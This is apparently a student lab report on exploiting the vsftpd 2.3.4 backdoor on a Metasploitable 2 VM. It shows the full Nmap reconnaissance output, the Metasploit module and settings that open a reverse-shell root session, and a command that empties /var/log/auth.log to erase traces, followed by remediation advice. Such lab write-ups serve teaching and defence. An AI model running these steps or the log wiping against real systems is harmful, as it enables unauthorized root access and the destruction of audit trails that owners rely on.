

Exploitation of VSFTPD2.3.4 Backdoor

Using Nmap and Metasploit

Author: Sudip Bastola

Target System: Metasploitble 2 Linux VM (192.168.83.131)

Attacker Platform: Kali Linux (192.168.83.129)

Assessment Date: July 14, 2026

1.Executive Summary

A penetration test was carried out on the system but keeping everything inside a lab setup. The main idea was to look for the weakness that could be reached over the network and then try to use them to see how much access we can get .

It turned out there was a serious problem with the file transferring process called ftp since it used vsftpd version2.3.4 and that has a backdoor built in . This type of issue lets an attacker connect remotely without any login and get shell with root privileges on the machine right away . Using the Metasploit framework it was possible to exploit the flaw and gain access to the system .From there commands could run with the privileges and it was also possible to mess with the system logs like clearing out if records who logged in.

Risk Summary Matrix

Metric	Details
Max Risk Rating	CRITICAL (10.0 / 10.0)
Primary Vulnerability	Unauthenticated Remote Code Execution (CVE-2011-2523)
System Compromise	Complete Administrative Takeover (Root Access Acquired)
Data Confidentiality	Severely Compromised — Full read access to filesystem and database parameters.
System Integrity	Severely Compromised — Full write, modify, and delete access over binary files and system logs

2. Scope and Methodology

The assessment followed the usual five phase method to copy how a real attack might go and set up fixes after.

- Reconnaissance
- Scanning & Enumeration
- Exploitation
- Post-Exploitation
- Reporting

Nmap works for network scanning when you start things off. Netcat comes in for manual interaction and that part feels necessary sometimes. Metasploit framework handles most of the exploitation steps. Linux commands show up later for post exploitation validation and they help confirm what happened.

3. Technical Findings and Exploitation Phase

Finding 01: Unauthenticated Remote Code Execution via VSFTPD Backdoor

Vulnerability type	Backdoor / Remote Code Execution
CVSS v3 Base Score	9.8 Critical
CVE ID	CVE-2011-2523
Access Vector	Network (Remote)

Step1. Host Discovery

- Identified active hosts in the network.

Commands used :nmap -sn <ip of victim>

```
(root@kali)~[/home/sudip]
# nmap -sn 192.168.83.1/24
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-14 21:41 +0545
Nmap scan report for 192.168.83.1
Host is up (0.0023s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.83.2
Host is up (0.00075s latency).
MAC Address: 00:50:56:E8:C0:9E (VMware)
Nmap scan report for 192.168.83.131
Host is up (0.00049s latency).
MAC Address: 00:0C:29:79:6F:6F (VMware)
Nmap scan report for 192.168.83.254
Host is up (0.00055s latency).
MAC Address: 00:50:56:FC:DF:EB (VMware)
Nmap scan report for 192.168.83.129
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.95 seconds
```

Step2. Port Scanning

- Discovered open ports on the target system.

Commands used:nmap -T4 -F <ip of victim>

```

(root@kali) ~ - ssh - 192.168.83.131
# nmap -T4 -F 192.168.83.131
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-14 21:43 +0545
Nmap scan report for 192.168.83.131
Host is up (0.00034s latency).
Not shown: 82 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
513/tcp   open  login
514/tcp   open  shell
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
8009/tcp  open  ajp13
MAC Address: 00:0C:29:79:6F:6F (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.23 seconds

```

Step3. Service Enumeration

- Detected running services and versions
- FTP service identified as VSFTPD 2.3.4(vulnerable)

Commands used: `nmap -sC -sV <ip of victim>`

```

(root@kali) ~ - ssh - 192.168.83.131
# nmap -sC -sV 192.168.83.131
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-14 21:45 +0545
Nmap scan report for 192.168.83.131
Host is up (0.0029s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_  Connected to 192.168.83.129
|_  Logged in as ftp
|_  TYPE: ASCII
|_  No session bandwidth limit
|_  Session timeout in seconds is 300
|_  Control connection is plain text
|_  Data connections will be plain text
|_  vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|_  1024 60:0f:cfe1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
|_sslv2:
|_SSLv2 supported
|_ciphers:
|_  SSL2_RC4_128_WITH_MD5
|_  SSL2_DES_64_CBC_WITH_MD5
|_  SSL2_RC2_128_CBC_WITH_MD5
|_  SSL2_RC4_128_EXPORT40_WITH_MD5
|_  SSL2_DES_192_EDE3_CBC_WITH_MD5
|_  SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_ssl-date: 2026-07-14T16:00:47+00:00; 0s from scanner time.
|_smtp-commands: metasploit,localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITIME, DSN

```

```

|_ssl-cert: Subject: commonName=ubuntu004-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
|_Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
53/tcp    open  domain       ISC BIND 9.4.2
|_dns-nsid:
|_  bind.version: 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp   open  rpcbind      2 (RPC #100000)
|_rpcinfo:
|_  program version port/proto service
|_  100000 2 111/tcp rpcbind
|_  100000 2 111/udp rpcbind
|_  100003 2,3,4 2049/tcp nfs
|_  100003 2,3,4 2049/udp nfs
|_  100005 1,2,3 37919/tcp mountd
|_  100005 1,2,3 32344/udp mountd
|_  100021 1,3,4 37984/udp nlockmgr
|_  100021 1,3,4 45934/tcp nlockmgr
|_  100024 1 48524/tcp status
|_  100024 1 57398/udp status
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rshcd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath gmicregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-Jubuntu5
|_mysql-info:
|_  Protocol: 10
|_  Version: 5.0.51a-Jubuntu5
|_  Thread ID: 0
|_  Capabilities flags: 43564
|_  Some Capabilities: Support4iAuth, SwitchToSSLAfterHandshake, SupportsTransactions, SupportsCompression, LongColumnFlag, Speaks4iProtocolNew, ConnectWith
Database

```

```

| Status: Autocommit
| Salt: m2Z6-o8fxMTGk3rf)5n0
|_ 5432/tcp open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=subuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_ Not valid after: 2010-04-16T14:07:45
|_ ssl-date: 2026-07-14T10:00:47+00:00; 0s from scanner time.
5900/tcp open  vnc VNC (protocol 3.3)
| vnc-info:
| Protocol version: 3.3
| Security types:
|_ VNC Authentication (2)
6000/tcp open  X11 (access denied)
6867/tcp open  irc UnrealIRCd
8009/tcp open  ajp13 Apache Jserv (Protocol v1.3)
|_ ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open  http Apache Tomcat/Coyote JSP engine 1.1
|_ http-server-header: Apache-Coyote/1.1
|_ http-favicon: Apache Tomcat
|_ http-title: Apache Tomcat/5.5
MAC Address: 00:0C:29:79:6F:6F (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: metasploitable
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: metasploitable.localdomain
|_ System time: 2026-07-14T12:00:39-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ smb2-time: Protocol negotiation failed (SMB2)
|_ clock-skew: mean: 59m59s, deviation: 2h00m00s, median: 0s
|_ nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.38 seconds

```

Step4. Manual Verification

- Verified that the service was accessible and responsive

Commands used: nc <victim ip><vulnerable port>

```

(root@kali)-[/home/sudip]
# nc 192.168.83.131 21
220 (vsFTPd 2.3.4)

```

Step5. Exploitation Using Metasploit

- Successfully triggered the backdoor vulnerability
- A command shell session was established

Command used: msfconsole ,

search vsftpd,

use exploit/unix/ftp/vsftpd_234_backdoor ,

set RHOSTS <victim ip> ,

set LHOST <attacker ip>

```
(root@kali)-[/home/sudip]
└─$ msfconsole
Metasploit tip: Execute a command across all sessions with sessions -C
<command>

3Kom SuperHack II Logon

File System
User Name: [ security ]
Password: [ ]
[ ok ]

Trash
https://metasploit.com

-=[ metasploit v6.4.135-dev ]
+ -- --=[ 2,654 exploits - 1,338 auxiliary - 2,141 payloads ]
+ -- --=[ 433 post - 49 encoders - 14 nops - 12 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search vsftpd

Matching Modules
=====
# Name Disclosure Date Rank Check Description
- - - - -
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent Yes VSFTPD 2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use 1
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.83.131
RHOSTS => 192.168.83.131
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.883.129
LHOST => 192.168.883.129
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[-] 192.168.83.131:21 - Msf::OptionValidateError One or more options failed to validate: LHOST.
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.83.129
LHOST => 192.168.83.129
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] Started reverse TCP handler on 192.168.83.129:4444
[*] 192.168.83.131:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.83.131:21 - FTP banner hints its vulnerable: 220 (vsFTPD 2.3.4)
[+] 192.168.83.131:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
[+] 192.168.83.131:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (192.168.83.129:4444 -> 192.168.83.131:56439) at 2026-07-14 22:00:06 +0545
```

Step6. Privilege Verification

- Confirmed access to the system.
- Displayed current user and privilege level

Command used: whoami ,id

```
meterpreter > shell
Process 5543 created.
Channel 1 created.
whoami
root
id
uid=0(root) gid=0(root)
```

4. Post-Exploitation Log Analysis and Anti-Forensics

Once access was granted, the post-exploitation process was initiated. Logging status of the system was examined and the traces left by the attacker were removed.

Log Inspection

- Checked the authentication logs for the system access attempts.

Command used: `cat /var/log/auth.log`

```
cat /var/log/auth.log
Jul 14 04:39:01 metasploitable CRON[5654]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 14 04:39:01 metasploitable CRON[5654]: pam_unix(cron:session): session closed for user root
Jul 14 05:02:01 metasploitable CRON[5698]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 14 05:02:01 metasploitable CRON[5698]: pam_unix(cron:session): session closed for user root
Jul 14 05:09:01 metasploitable CRON[5718]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 14 05:09:01 metasploitable CRON[5718]: pam_unix(cron:session): session closed for user root
Jul 14 05:17:01 metasploitable CRON[5738]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 14 05:17:01 metasploitable CRON[5738]: pam_unix(cron:session): session closed for user root
Jul 14 05:39:01 metasploitable CRON[5782]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 14 05:39:01 metasploitable CRON[5782]: pam_unix(cron:session): session closed for user root
Jul 14 06:09:01 metasploitable CRON[5841]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 14 06:09:01 metasploitable CRON[5841]: pam_unix(cron:session): session closed for user root
Jul 14 06:17:01 metasploitable CRON[5870]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 14 06:17:01 metasploitable CRON[5870]: pam_unix(cron:session): session closed for user root
Jul 14 09:58:23 metasploitable sshd[4707]: Server listening on :: port 22.
Jul 14 09:58:23 metasploitable sshd[4707]: error: Bind to port 22 on 0.0.0.0 failed: Address already in use.
Jul 14 10:02:01 metasploitable CRON[5347]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 14 10:02:01 metasploitable CRON[5347]: pam_unix(cron:session): session closed for user root
Jul 14 10:09:01 metasploitable CRON[5358]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 14 10:09:01 metasploitable CRON[5358]: pam_unix(cron:session): session closed for user root
Jul 14 10:17:01 metasploitable CRON[5387]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 14 10:17:01 metasploitable CRON[5387]: pam_unix(cron:session): session closed for user root
Jul 14 11:56:13 metasploitable sshd[4708]: Server listening on :: port 22.
Jul 14 11:56:13 metasploitable sshd[4708]: error: Bind to port 22 on 0.0.0.0 failed: Address already in use.
Jul 14 12:00:27 metasploitable sshd[5351]: Did not receive identification string from 192.168.83.129
Jul 14 12:00:27 metasploitable rshd[5360]: Connection from 192.168.83.129 on illegal port
Jul 14 12:00:34 metasploitable rlogind[5362]: Connection from 192.168.83.129 on illegal port
Jul 14 12:00:34 metasploitable rlogind[5381]: Connection from 192.168.83.129 on illegal port
Jul 14 12:00:34 metasploitable rlogind[5391]: Connection from 192.168.83.129 on illegal port
Jul 14 12:00:34 metasploitable rlogind[5392]: Connection from 192.168.83.129 on illegal port
Jul 14 12:00:39 metasploitable rshd[5409]: Connection from 192.168.83.129 on illegal port
Jul 14 12:00:39 metasploitable sshd[5412]: Protocol major versions differ for 192.168.83.129: SSH-2.0-OpenSSH_4.7p1 Debian-Subuntu1 vs. SSH-1.5-NmapNSE_1.0
Jul 14 12:00:39 metasploitable sshd[5431]: Protocol major versions differ for 192.168.83.129: SSH-2.0-OpenSSH_4.7p1 Debian-Subuntu1 vs. SSH-1.5-Nmap-SSH1-Hostkey
Jul 14 12:00:44 metasploitable rshd[5470]: Connection from 192.168.83.129 on illegal port
Jul 14 12:09:01 metasploitable CRON[5515]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 14 12:09:01 metasploitable CRON[5515]: pam_unix(cron:session): session closed for user root
Jul 14 12:17:01 metasploitable CRON[5547]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 14 12:17:01 metasploitable CRON[5547]: pam_unix(cron:session): session closed for user root
```

Log Clearing

- Removed all records from the authentication logging file.
- This shows the way in which attackers can expunge their offending trail.

Command used: `cat /dev/null > /var/log/auth.log`

```
cat /dev/null > /var/log/auth.log
cat /var/log/auth.log
```

5. Remediation & Recommendations

In order to safeguard the system against these types of attacks, the following preventive measures are suggested:

Immediate Actions

- Elimination or upgrade of VSFTPD 2.3.4 to a secure version
- Disabling FTP service if not required
- Formation of port access restrictions using firewalls

Long-term Security Measures

- Establishment of a centralized logging system
- Deployment of intrusion detection/intrusion prevention systems.
- Carrying out periodic vulnerability assessment
- Regular application of security updates and patches.

6. Disclaimer

This assessment was done in a controlled laboratory environment for academic purposes. Unauthorized scans of systems or exploitation of systems without being granted authority are illegal and unethical in nature.